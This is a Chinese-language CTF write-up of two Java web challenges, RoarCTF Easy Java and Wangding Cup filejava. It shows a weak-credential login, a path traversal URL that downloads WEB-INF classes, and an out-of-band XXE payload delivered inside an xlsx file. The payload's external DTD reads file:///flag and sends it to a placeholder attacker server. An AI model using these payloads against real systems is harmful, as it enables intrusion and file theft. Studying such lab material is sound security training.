buu一道简单java web
# [RoarCTF 2019]Easy Java
buu平台一道简单java web[RoarCTF 2019]Easy Java (opens new window)
打开题目,一个登录页面,可以bp爆破出弱密码admin/admin888
登录页没什么内容
尝试首页的help
,路由像是存在任意文件下载漏洞,没有下载help.docx
文件,换成post请求才能下载文件,这是什么题目,这也是play的一环吗
post发送请求filename=help.docx
,下载help.docx
文件,没用
关于WEB-INF
目录
提示
WEB-INF主要包含一下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
下载/WEB-INF/web.xml
文件,看看服务配置项,里面记录了FLAG的controller
所以可以找/WEB-INF/classes/com/wm/ctf/FlagController.class
,下载class文件,用jd-gui下载 (opens new window)反编译
flag base64编码了,解码拿到flag
# [网鼎杯 2020 青龙组]filejava
上传文件后,可以下载,下载功能存在目录穿越漏洞
穿越下载java web的配置文件web.xml
下载实现主要功能的class文件DownloadServlet.class
,ListFileServlet.class
,UploadServlet.class
在java web中,这些文件在/WEB-INF/classes
目录下的自定义package下,也就是这里的/cn/abc/servlet
下
url/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
下载class文件
jd-gui
反编译class文件,审计源码
审计DownloadServlet.class
,可以看到存在flag
时会禁止下载
审计ListFileServlet.class
,没有什么可以利用的
审计UploadServlet.class
,如果上传的文件名是excel-
开头,.xlsx
结尾,那么会尝试读取文件的xml文件。doc, xlsx等文件实质是zip压缩包,里面存在一个xml文件,可以创建一个正常的excel文件,改扩展名为zip,把里面内容替换为恶意xml内容,再压缩,改回xlsx扩展名,上传。打一个xxe漏洞
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
// 读取xml文件,引用vps的dtd文件,利用xxe漏洞读取flag
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
2
3
4
5
6
7
8
9
10
这是创建的excel文件修改为zip文件里的xml文件内容,写好后再全部压缩到一个包里,扩展名改回xlsx
,文件名excel-1.xlsx
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data SYSTEM "http://ip:port/1.dtd">
<data>&send;</data>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
2
3
4
vps进入一个空目录,新建1.dtd文件,内容为
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:port/?%file;'>">
%all;
2
3
开启一个web服务,端口要和上面xml,dtd的端口一致
python3 -m http.server 4444
上传文件,可以在日志看到目标主机带着flag的访问
参考: